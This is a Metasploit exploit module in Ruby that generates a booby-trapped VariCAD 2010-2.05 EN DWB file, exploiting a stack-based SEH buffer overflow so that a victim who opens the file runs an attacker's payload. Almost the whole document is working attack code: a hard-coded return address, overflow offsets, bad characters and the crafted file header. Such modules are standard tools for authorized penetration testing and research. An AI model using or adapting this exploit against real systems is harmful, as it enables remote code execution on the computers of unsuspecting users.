##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in VariCAD 2010-2.05 EN.
        An attacker must send the file to victim and the victim must open the file.
      },
      'License'        => MSF_LICENSE,
      'Author' 	     =>
        [
          'n00b',    # first public exploit
          'dookie',  # metasploit first pass
          'MC',      # cleanup pass 1 & second offset
          'jduck'    # cleanup pass 2 & combined offsets
        ],
      'References'     =>
        [
          [ 'OSVDB', '63067' ],
          [ 'BID', '38815' ],
          [ 'EDB', '11789' ]
        ],
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x0a\x3d",
          'StackAdjustment' => -3500,
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x00401425 } ], #p/p/r in varicad-i386.exe
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 17 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.dwb']),
      ], self.class)
  end

  def exploit

    header = "\x34\x87\x01\x00\x00\x00\x00\x00\x25\x5c\x1f\x85"
    sploit = rand_text_alpha_upper(1000) * 50

    # Add SEH frames..
    seh = generate_seh_record(target.ret)
    offsets = [ 26252, 22856 ]
    sploit[0,payload.encoded.length] = payload.encoded
    offsets.each { |off|
      sploit[off,seh.length] = seh
      distance = seh.length + off
      jmp = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
      sploit[off+seh.length,jmp.length] = jmp
    }

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(header + sploit)

  end

end
